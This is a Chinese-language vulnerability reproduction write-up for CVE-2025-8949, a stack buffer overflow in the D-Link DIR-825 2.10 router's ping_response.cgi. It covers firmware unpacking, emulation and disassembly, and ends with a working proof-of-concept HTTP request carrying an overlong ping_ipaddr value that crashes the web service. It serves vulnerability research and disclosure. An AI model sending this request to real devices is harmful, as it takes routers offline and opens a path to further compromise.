Files

160 lines
5.2 KiB
Markdown
Raw Permalink Normal View History

2026-10-15 20:25:47 +08:00
# D-Link DIR-825 2.10(CVE-2025-8949)漏洞复现
> 渐近线
> 来源:https://www.iotsec-zone.com/article/509
### 漏洞情报
在 D-Link DIR-825 2.10 中发现了一个漏洞。受该漏洞影响的是组件 httpd 的文件ping_response.cgi的函数get_ping_app_stat。参数ping_ipaddr的作会导致基于堆栈的缓冲区溢出。攻击可以远程发起。该漏洞已向公众披露并可能被使用。
### 信息收集
##### binwalk
```
binwalk -Me DIR825B1_FW210WWB01.bin
```
binwalk先解包固件
![0.png](https://www.iotsec-zone.com/api/image/v2/20250822/dc8nzzbxc8qudd8zx8.png)
##### file&checksec
在squashfs-root目录下查看固件基本信息
![1.png](https://www.iotsec-zone.com/api/image/v2/20250822/dc8o0m0nylcu0faq3z.png)
看到是MIPS架构32位大端序
##### firmwalker
![2.png](https://www.iotsec-zone.com/api/image/v2/20250822/dc8o0uw8rmtnxzjxt7.png)
可以看到该固件web服务器是httpd
### 固件模拟
##### FirmAE
```
sudo ./run.sh -d dlink DIR825B1_FW210WWB01.bin
```
![3.png](https://www.iotsec-zone.com/api/image/v2/20250822/dc8o1d458627jkoaxp.png)
浏览器打开192.168.0.1
![4.png](https://www.iotsec-zone.com/api/image/v2/20250822/dc8o1m3n7fj3i3m0nz.png)
模拟成功!
### 漏洞分析
在IDA分析httpd文件,检索函数get_ping_app_stat
![5.png](https://www.iotsec-zone.com/api/image/v2/20250822/dc8o1to7pqd1ib1c4h.png)
**1、缓冲区 `v5[256]`**
`fread(v5, 0x100u, 1u, v2);`
- `0x100` = 256,正好等于缓冲区大小。
- 如果 ping 输出超过 256 字节,理论上不会溢出(因为 `fread` 按照大小读取,但这里的问题是 system 命令的格式化字符串)。
**2、`system("ping -c 1 \"%s\" > /var/misc/ping_app.txt");`**
- 这里直接把 `%s` 放进了 system 命令,而且 没有把 **a1** 的内容传进去。
- 如果在实际固件中 `parse_special_char(a1)` 返回了字符串,并且 system 调用使用了用户可控的字符串(如 `sprintf(cmd, "ping -c 1 \"%s\" ...", a1)`),则可能导致 **命令注入漏洞**。
**3、返回值逻辑**
- 根据 ping 输出文件判断成功/失败/未知主机,这个逻辑没有安全问题。
接着我们追进去分析函数parse_special_char,看看里面写了什么。因为该函数是外部函数,所以要回去解包的固件中找他的文件位置,发现该函数在libproject.so文件中,将其放进IDA里分析函数
![6.png](https://www.iotsec-zone.com/api/image/v2/20250822/dc8o24nxp91wuog6ae.png)
检索找到函数parse_special_char
![7.png](https://www.iotsec-zone.com/api/image/v2/20250822/dc8o2ddnb93dmhaf38.png)
**1、功能总结:**
- **作用**:
`parse_special_char` 用于对用户输入的字符串进行 **转义处理**,主要是给以下字符前面加上反斜杠 `\`:
- `"` 双引号
- `\` 反斜杠
- \``` 反引号
- `$` 变量符号
- **目的**:
防止直接拼接到 `system("ping ...")` 命令时出现命令注入。
**2、存在的问题:**
- 使用了 `strcpy`,且 `v11[200]` 存放用户输入。
- 如果传入的字符串超过 200 字节,会导致 **缓冲区溢出**。
+ 再加上 `v10[400]`,虽然比较大,但 `strcpy(a1, v10)` 依然没有长度检查。
**3、总结:**
`parse_special_char` 本意是做命令注入防护,但防护不完整,反而引入了新的 **栈缓冲区溢出风险**。
### 漏洞验证
抓包
![8.png](https://www.iotsec-zone.com/api/image/v2/20250822/dc8o2p85eibauui8hm.png)
接下来构造HTTP请求包,验证堆栈的缓冲区溢出
![9.png](https://www.iotsec-zone.com/api/image/v2/20250822/dc8o2volutjo3rxgi3.png)
![10.png](https://www.iotsec-zone.com/api/image/v2/20250822/dc8o31ihhy4owbeczk.png)
可以看到设备的 HTTP 服务在请求发出前还能正常访问,但在发出 payload 后立即断开,并且持续一段时间无法访问。
验证成功!
至此,漏洞复现结束。
### PoC:
```
POST /ping_response.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 395
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: [http://192.168.0.1](http://192.168.0.1)
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: [http://192.168.0.1/tools_vct.asp](http://192.168.0.1/tools_vct.asp)
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
html_response_page=tools_vct.asp&html_response_return_page=tools_vct.asp&ping_ipaddr=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac&ping=Ping
```
------
### 附录
#### 参考文献
[D-Link DIR-825 Rev.B 2.10 devices ping_response.cgi stack-based buffer overflow · Issue #16 · i-Corner/cve](https://github.com/i-Corner/cve/issues/16)
[NVD - CVE-2025-8949](https://nvd.nist.gov/vuln/detail/CVE-2025-8949)